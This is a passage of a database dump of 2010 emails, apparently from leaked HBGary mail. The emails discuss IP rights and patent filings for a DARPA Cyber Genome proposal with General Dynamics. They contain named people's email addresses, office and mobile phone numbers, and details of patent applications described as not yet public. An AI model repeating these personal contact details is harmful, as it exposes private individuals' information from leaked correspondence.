Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8647,'aaron_hbgary_com/8647.html'),(3885,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002039.M316279P3547Q3886.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: I finished section 5.1.5 Plans and Capabilties to Accomplish 	Technology Transition','Not sure.  Let me review.\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 3:46 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n> I wrote it and posted it to google docs.\r\n>\r\n>\r\n>\r\n> I just realized I did not use the word “commercialization”.\r\n> Should I?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',433,'aaron_hbgary_com/433.html'),(3886,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002039.M39885P3547Q3885.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','Q&A and term \"Restricted\"','After reading the Q&amp;A I feel very certain that restricted is referring to prepublication review, which is required except in the following exception.2.&nbsp; As a university subcontractor to a prime we are conducting fundamental research; are we subject to prepublication review per Section 6.4 of the BAA.&nbsp;Answer:&nbsp; A prime contractor may segment work to an Institute of Higher Learning (IHL) for fundamental research whose results are then incorporated into the prime’s effort who then develops the prototype system.&nbsp; Providing the IHL is not exposed to performance characteristics of the proposed system, and complies with all other laws, executive orders, and regulations, the IHL effort may retain the definition of contracted fundamental research and not require prepublication review4. &nbsp; Some universities will not allow their faculty and research associates to submit a proposal to the program because of restrictions. Will DARPA provide waivers of this clause prior to submission of proposals to allow universities to participate without any restrictions such as pre-publication restrictions?&nbsp;Answer:&nbsp; No.&nbsp; See Questions 2-3 above.&nbsp; A waiver is not required if the IHL is a subcontractor per question 2.&nbsp; A waiver will not be granted if the IHL is proposing as&nbsp; a prime contractor per question 3.Other Q&amp;A of note.7.&nbsp; Is there an absolute requirement to deliver source code?&nbsp; &nbsp;Answer:&nbsp; Refer to BAA, Section 1.3, page 10.&nbsp; Yes41. &nbsp; Can a performer be listed as a subcontractor to multiple proposals or does the performer need to limit which ones to support? &nbsp;Answer:&nbsp; Refer to BAA, Section 3.3, page 13.&nbsp; The challenge will be if common work is being performed across multiple funded proposals, and if the same personnel are bid across multiple proposals, since performers can\'t bill the government multiple times for the same work.&nbsp; Performers will need to divide common work across primes and the Performer must clearly document in the proposal, how the costs will be managed across the multiple contracts.45.&nbsp; What is a reasonable start time for this effort?Answer:&nbsp; DARPA intends to have performers on contract on or about July 1, 2010.48. &nbsp; Please elaborate on non-provisioning of IT equipment.&nbsp; What if it is part of the \"special sauce\" of the solution.Answer: &nbsp; A standard requirement is for proposers to state why they cannot provide requested IT resources.&nbsp; The Performer needs to justify why special equipment is needed to solve the approach to the problem.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11677,'aaron_hbgary_com/11677.html'),(3887,'2010-03-10','\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>','/aaron@hbgary.com/new/1297002039.M528486P3547Q3887.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','RE: Drafted Invention and Asserted Rights Language - DARPA Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nThe approach that you describe\r\nwill certainly protect you unpatented IP.&nbsp; However, I must defer to Chris and\r\nthe other GDAIS folks as to whether it will answer the mail sufficiently to\r\nsatisfy DARPA&gt;\r\n\r\n&nbsp;\r\n\r\nWalt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWalter E. Vashak\r\n\r\nDirector, Contract Policy and Compliance \r\n\r\n&nbsp;&nbsp; and Intellectual Property\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n1200 Joe Hall Drive\r\n\r\nYpsilanti, MI 48197\r\n\r\nTel. 734.480.5412\r\n\r\nCell: 734.751.4834\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, March 10, 2010 5:05 PM\r\nTo: Larson, Cindy S.; Vashak, Walt E.\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Drafted Invention and Asserted Rights Language - DARPA\r\nCyber Genome Proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCindy and Walt,\r\n\r\n&nbsp;\r\n\r\nThe only IP I am concerned about is Digital DNA Sequence and\r\nFuzzy Hash Algorithm.&nbsp; Actually, both of these technologies are contained\r\nwithin our commercial product called Digital DNA.&nbsp; In a nutshell Digital DNA\r\nand Fuzzy Hash are methods to analyze malware and describe its behaviors and\r\ntraits.&nbsp; Think of it as a way to organize and communicate\r\ninformation.&nbsp; During the contract we will deliver lots of new information\r\nwith full intention of giving the gov&#8217;t unlimited rights to that new\r\ndata.&nbsp; But it is possible that the new data will be delivered in the\r\nFORMAT used by our IP or in the CONTAINER of our IP.&nbsp; I want to give the\r\ngov&#8217;t unlimited rights to the new data, but not the format or container.\r\n\r\n&nbsp;\r\n\r\nHere is what Aaron wants to do&#8230;&#8230;&#8230;Offer unlimited rights on\r\neverything based on the assumption that we will research brand new ideas that\r\nmay not use our IP at all.&nbsp; If we determine after research that DDNA is\r\nthe right approach, we go back to the customer to renegotiate IP before\r\ndelivering anything with DDNA or Fuzzy Hash in it.\r\n\r\n&nbsp;\r\n\r\nSeems to me we need to call out the IP in the proposal and\r\nassert data rights, but tell the gov&#8217;t it is likely we won&#8217;t need to deliver\r\nit, but if we do it has different rights.\r\n\r\n&nbsp;\r\n\r\nThis IP is very valuable.&nbsp; It would look bad to future\r\ninvestors if we give unlimited rights to it.\r\n\r\n&nbsp;\r\n\r\nHow do we have our cake and eat it too?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Wednesday, March 10, 2010 3:33 PM\r\nTo: Vashak, Walt E.; Bob Slapnik\r\nSubject: Drafted Invention and Asserted Rights Language - DARPA Cyber\r\nGenome Proposal\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHI Walt,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; I just\r\ngot involved with this today and our team offered to assist HBGary writing a\r\nparagraph (or so) to include in GDAIS Proposal to DARPA.&nbsp; Ron Vela and\r\nteam mentioned they have talked with you about this.&nbsp;&nbsp; :o)&nbsp; Bob,\r\nI\'ve also copied you as my knowledge of this is very limited.&nbsp; I\r\nunderstand from your email that you are concerned with the government gaining\r\nunlimited rights&nbsp;to your inventions (assume this is the commerical product\r\nyou refer to in your other email.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ve attached\r\nDARPA\'s BAA expectation and HBGary, Inc. Patent Info. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo, diving\r\nin, here\'s what I\'ve drafted thus far; hopefully I\'m not mixing apples and\r\noranges but Walt will set me straight:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;In\r\naccordance with DARPA-BAA-10-36 dated January 28, 2010, HBGary Federal\r\nrepresents that it owns the Digital DNA Sequence and Fuzzy Hash Algorithm\r\ninventions for which a patent application(s) have been filed.&nbsp; The\r\ninventions, developed at HBGary&nbsp;Inc. private expense,&nbsp;will be\r\nutilitzed in the HBGary Federal proposal for the DARPA Cyber Genome\r\nProgram.&nbsp; The following Patent applications have not yet been made\r\npublicly available and contains proprietary information.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nDNA Sequence\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent application\r\nnumber: 12/386,970\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp;\r\nApril 24, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Digital DNA Sequence\r\n\r\n&nbsp;\r\n\r\nHBGary\'s\r\nownership of the invention is indicated in Reel/Frame 023009/0815 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\nFuzzy\r\nHash Algorithm\r\n\r\nOur\r\nreference #:&nbsp; 10030.000200\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Patent\r\napplication number: 12/459,203\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp; June\r\n26, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Fuzzy Hash Algorithm\r\n\r\nHBGary\'s\r\nownership of the invention is indicated in Reel/Frame 023441/0496 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nasserts Restricted Rights (or Bob, is it Limited Restricted Rights?) &nbsp;to\r\nthe aforementioned inventions as described below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  COMMERCIAL\r\n  \r\n \r\n \r\n  \r\n  Technical Data Computer Software To be\r\n  Furnished With Restrictions\r\n  \r\n  \r\n  Basis for Assertion\r\n  &nbsp;\r\n  \r\n  \r\n  Asserted Rights Category\r\n  &nbsp;\r\n  \r\n  \r\n  Name of Person Asserting Restrictions\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Digital DNA\r\n  Sequence&nbsp;&nbsp;&nbsp; \r\n  \r\n  \r\n  Developed at Private\r\n  Expense&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n  Restricted or Unrestricted - Bob??\r\n  \r\n  \r\n  HBGary, Inc. - Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOkay, that\'s\r\nit for starters.&nbsp; Walt, Bob please advise ASAP today as the FMR is on\r\nFriday and we need to complete our proposals.&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8693,'aaron_hbgary_com/8693.html'),(3888,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002039.M759692P3547Q3888.eml','\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,,','Re: Drafted Invention and Asserted Rights Language - DARPA Cyber 	Genome Proposal','Which part? There were a few different tacs.From my iPhoneOn Mar 10, 2010, at 6:00 PM, &quot;Vashak, Walt E.&quot; &lt;walt.vashak@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n \r\n\r\nThe approach that you describe\r\nwill certainly protect you unpatented IP.  However, I must defer to Chris and\r\nthe other GDAIS folks as to whether it will answer the mail sufficiently to\r\nsatisfy DARPA&gt;\r\n\r\n \r\n\r\nWalt\r\n\r\n \r\n\r\n\r\n\r\nWalter E. Vashak\r\n\r\nDirector, Contract Policy and Compliance \r\n\r\n   and Intellectual Property\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n1200 Joe Hall Drive\r\n\r\nYpsilanti, MI 48197\r\n\r\nTel. 734.480.5412\r\n\r\nCell: 734.751.4834\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, March 10, 2010 5:05 PM\r\nTo: Larson, Cindy S.; Vashak, Walt E.\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: RE: Drafted Invention and Asserted Rights Language - DARPA\r\nCyber Genome Proposal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nCindy and Walt,\r\n\r\n \r\n\r\nThe only IP I am concerned about is Digital DNA Sequence and\r\nFuzzy Hash Algorithm.  Actually, both of these technologies are contained\r\nwithin our commercial product called Digital DNA.  In a nutshell Digital DNA\r\nand Fuzzy Hash are methods to analyze malware and describe its behaviors and\r\ntraits.  Think of it as a way to organize and communicate\r\ninformation.  During the contract we will deliver lots of new information\r\nwith full intention of giving the gov’t unlimited rights to that new\r\ndata.  But it is possible that the new data will be delivered in the\r\nFORMAT used by our IP or in the CONTAINER of our IP.  I want to give the\r\ngov’t unlimited rights to the new data, but not the format or container.\r\n\r\n \r\n\r\nHere is what Aaron wants to do………Offer unlimited rights on\r\neverything based on the assumption that we will research brand new ideas that\r\nmay not use our IP at all.  If we determine after research that DDNA is\r\nthe right approach, we go back to the customer to renegotiate IP before\r\ndelivering anything with DDNA or Fuzzy Hash in it.\r\n\r\n \r\n\r\nSeems to me we need to call out the IP in the proposal and\r\nassert data rights, but tell the gov’t it is likely we won’t need to deliver\r\nit, but if we do it has different rights.\r\n\r\n \r\n\r\nThis IP is very valuable.  It would look bad to future\r\ninvestors if we give unlimited rights to it.\r\n\r\n \r\n\r\nHow do we have our cake and eat it too?\r\n\r\n \r\n\r\n\r\n\r\nBob Slapnik  |  Vice President  |  HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Wednesday, March 10, 2010 3:33 PM\r\nTo: Vashak, Walt E.; Bob Slapnik\r\nSubject: Drafted Invention and Asserted Rights Language - DARPA Cyber\r\nGenome Proposal\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHI Walt,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n  I just\r\ngot involved with this today and our team offered to assist HBGary writing a\r\nparagraph (or so) to include in GDAIS Proposal to DARPA.  Ron Vela and\r\nteam mentioned they have talked with you about this.   :o)  Bob,\r\nI&#39;ve also copied you as my knowledge of this is very limited.  I\r\nunderstand from your email that you are concerned with the government gaining\r\nunlimited rights to your inventions (assume this is the commerical product\r\nyou refer to in your other email.)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached\r\nDARPA&#39;s BAA expectation and HBGary, Inc. Patent Info. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSo, diving\r\nin, here&#39;s what I&#39;ve drafted thus far; hopefully I&#39;m not mixing apples and\r\noranges but Walt will set me straight:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&quot;In\r\naccordance with DARPA-BAA-10-36 dated January 28, 2010, HBGary Federal\r\nrepresents that it owns the Digital DNA Sequence and Fuzzy Hash Algorithm\r\ninventions for which a patent application(s) have been filed.  The\r\ninventions, developed at HBGary Inc. private expense, will be\r\nutilitzed in the HBGary Federal proposal for the DARPA Cyber Genome\r\nProgram.  The following Patent applications have not yet been made\r\npublicly available and contains proprietary information.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nDNA Sequence\r\n\r\n \r\n\r\n·        \r\nPatent application\r\nnumber: 12/386,970\r\n\r\n·        \r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n·        \r\nAssignee names: HBGary,\r\nInc.\r\n\r\n·        \r\nFiling date: \r\nApril 24, 2009\r\n\r\n·        \r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n·        \r\nSummary of the patent\r\ntitle:  Digital DNA Sequence\r\n\r\n \r\n\r\nHBGary&#39;s\r\nownership of the invention is indicated in Reel/Frame 023009/0815 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n \r\n\r\nFuzzy\r\nHash Algorithm\r\n\r\nOur\r\nreference #:  10030.000200\r\n\r\n·        \r\n Patent\r\napplication number: 12/459,203\r\n\r\n·        \r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n·        \r\nAssignee names: HBGary,\r\nInc.\r\n\r\n·        \r\nFiling date:  June\r\n26, 2009\r\n\r\n·        \r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n·        \r\nSummary of the patent\r\ntitle:  Fuzzy Hash Algorithm\r\n\r\nHBGary&#39;s\r\nownership of the invention is indicated in Reel/Frame 023441/0496 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nasserts Restricted Rights (or Bob, is it Limited Restricted Rights?)  to\r\nthe aforementioned inventions as described below.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  COMMERCIAL\r\n  \r\n \r\n \r\n  \r\n  Technical Data Computer Software To be\r\n  Furnished With Restrictions\r\n  \r\n  \r\n  Basis for Assertion\r\n   \r\n  \r\n  \r\n  Asserted Rights Category\r\n   \r\n  \r\n  \r\n  Name of Person Asserting Restrictions\r\n   \r\n  \r\n \r\n \r\n  \r\n  Digital DNA\r\n  Sequence    \r\n  \r\n  \r\n  Developed at Private\r\n  Expense   \r\n  \r\n  \r\n  Restricted or Unrestricted - Bob??\r\n  \r\n  \r\n  HBGary, Inc. - Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOkay, that&#39;s\r\nit for starters.  Walt, Bob please advise ASAP today as the FMR is on\r\nFriday and we need to complete our proposals.  Thanks.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4130,'aaron_hbgary_com/4130.html'),(3889,'2010-03-10','\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>','/aaron@hbgary.com/new/1297002039.M992803P3547Q3889.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Drafted Invention and Asserted Rights Language - DARPA Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&#8220;Here\r\nis what Aaron wants to do&#8230;&#8230;&#8230;Offer unlimited rights on everything based on the\r\nassumption that we will research brand new ideas that may not use our IP at\r\nall.&nbsp; If we determine after research that DDNA is the right approach, we\r\ngo back to the customer to renegotiate IP before delivering anything with DDNA\r\nor Fuzzy Hash in it.&#8221;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWalter E. Vashak\r\n\r\nDirector, Contract Policy and Compliance \r\n\r\n&nbsp;&nbsp; and Intellectual Property\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n1200 Joe Hall Drive\r\n\r\nYpsilanti, MI 48197\r\n\r\nTel. 734.480.5412\r\n\r\nCell: 734.751.4834\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 6:04 PM\r\nTo: Vashak, Walt E.\r\nCc: Bob Slapnik; Larson, Cindy S.; Starr, Christopher H.\r\nSubject: Re: Drafted Invention and Asserted Rights Language - DARPA\r\nCyber Genome Proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhich part? There were a few different tacs.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 6:00 PM, &quot;Vashak, Walt E.&quot; &lt;walt.vashak@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nThe approach that you describe will certainly protect you\r\nunpatented IP.&nbsp; However, I must defer to Chris and the other GDAIS folks\r\nas to whether it will answer the mail sufficiently to satisfy DARPA&gt;\r\n\r\n&nbsp;\r\n\r\nWalt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWalter\r\nE. Vashak\r\n\r\nDirector,\r\nContract Policy and Compliance \r\n\r\n&nbsp;&nbsp;\r\nand Intellectual Property\r\n\r\nGeneral\r\nDynamics Advanced Information Systems\r\n\r\n1200\r\nJoe Hall Drive\r\n\r\nYpsilanti,\r\nMI 48197\r\n\r\nTel.\r\n734.480.5412\r\n\r\nCell:\r\n734.751.4834\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, March 10, 2010 5:05 PM\r\nTo: Larson, Cindy S.; Vashak, Walt E.\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Drafted Invention and Asserted Rights Language - DARPA\r\nCyber Genome Proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCindy\r\nand Walt,\r\n\r\n&nbsp;\r\n\r\nThe\r\nonly IP I am concerned about is Digital DNA Sequence and Fuzzy Hash\r\nAlgorithm.&nbsp; Actually, both of these technologies are contained within our\r\ncommercial product called Digital DNA.&nbsp; In a nutshell Digital DNA and\r\nFuzzy Hash are methods to analyze malware and describe its behaviors and\r\ntraits.&nbsp; Think of it as a way to organize and communicate\r\ninformation.&nbsp; During the contract we will deliver lots of new information\r\nwith full intention of giving the gov&#8217;t unlimited rights to that new\r\ndata.&nbsp; But it is possible that the new data will be delivered in the\r\nFORMAT used by our IP or in the CONTAINER of our IP.&nbsp; I want to give the\r\ngov&#8217;t unlimited rights to the new data, but not the format or container.\r\n\r\n&nbsp;\r\n\r\nHere\r\nis what Aaron wants to do&#8230;&#8230;&#8230;Offer unlimited rights on everything based on the\r\nassumption that we will research brand new ideas that may not use our IP at\r\nall.&nbsp; If we determine after research that DDNA is the right approach, we\r\ngo back to the customer to renegotiate IP before delivering anything with DDNA\r\nor Fuzzy Hash in it.\r\n\r\n&nbsp;\r\n\r\nSeems\r\nto me we need to call out the IP in the proposal and assert data rights, but\r\ntell the gov&#8217;t it is likely we won&#8217;t need to deliver it, but if we do it has\r\ndifferent rights.\r\n\r\n&nbsp;\r\n\r\nThis\r\nIP is very valuable.&nbsp; It would look bad to future investors if we give\r\nunlimited rights to it.\r\n\r\n&nbsp;\r\n\r\nHow\r\ndo we have our cake and eat it too?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\nSlapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice\r\n301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Wednesday, March 10, 2010 3:33 PM\r\nTo: Vashak, Walt E.; Bob Slapnik\r\nSubject: Drafted Invention and Asserted Rights Language - DARPA Cyber\r\nGenome Proposal\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHI Walt,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; I just got involved with this\r\ntoday and our team offered to assist HBGary writing a paragraph (or so) to\r\ninclude in GDAIS Proposal to DARPA.&nbsp; Ron Vela and team mentioned they have\r\ntalked with you about this.&nbsp;&nbsp; :o)&nbsp; Bob, I\'ve also copied you as\r\nmy knowledge of this is very limited.&nbsp; I understand from your email that\r\nyou are concerned with the government gaining unlimited rights&nbsp;to your\r\ninventions (assume this is the commerical product you refer to in your other\r\nemail.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ve attached DARPA\'s BAA expectation\r\nand HBGary, Inc. Patent Info. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo, diving in, here\'s what I\'ve\r\ndrafted thus far; hopefully I\'m not mixing apples and oranges but Walt will set\r\nme straight:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;In accordance with\r\nDARPA-BAA-10-36 dated January 28, 2010, HBGary Federal represents that it owns\r\nthe Digital DNA Sequence and Fuzzy Hash Algorithm inventions for which a patent\r\napplication(s) have been filed.&nbsp; The inventions, developed at\r\nHBGary&nbsp;Inc. private expense,&nbsp;will be utilitzed in the HBGary Federal\r\nproposal for the DARPA Cyber Genome Program.&nbsp; The following Patent\r\napplications have not yet been made publicly available and contains proprietary\r\ninformation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDigital DNA Sequence\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent application\r\nnumber: 12/386,970\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp;\r\nApril 24, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Digital DNA Sequence\r\n\r\n&nbsp;\r\n\r\nHBGary\'s ownership of the invention\r\nis indicated in Reel/Frame 023009/0815 in the Assignment Division of the 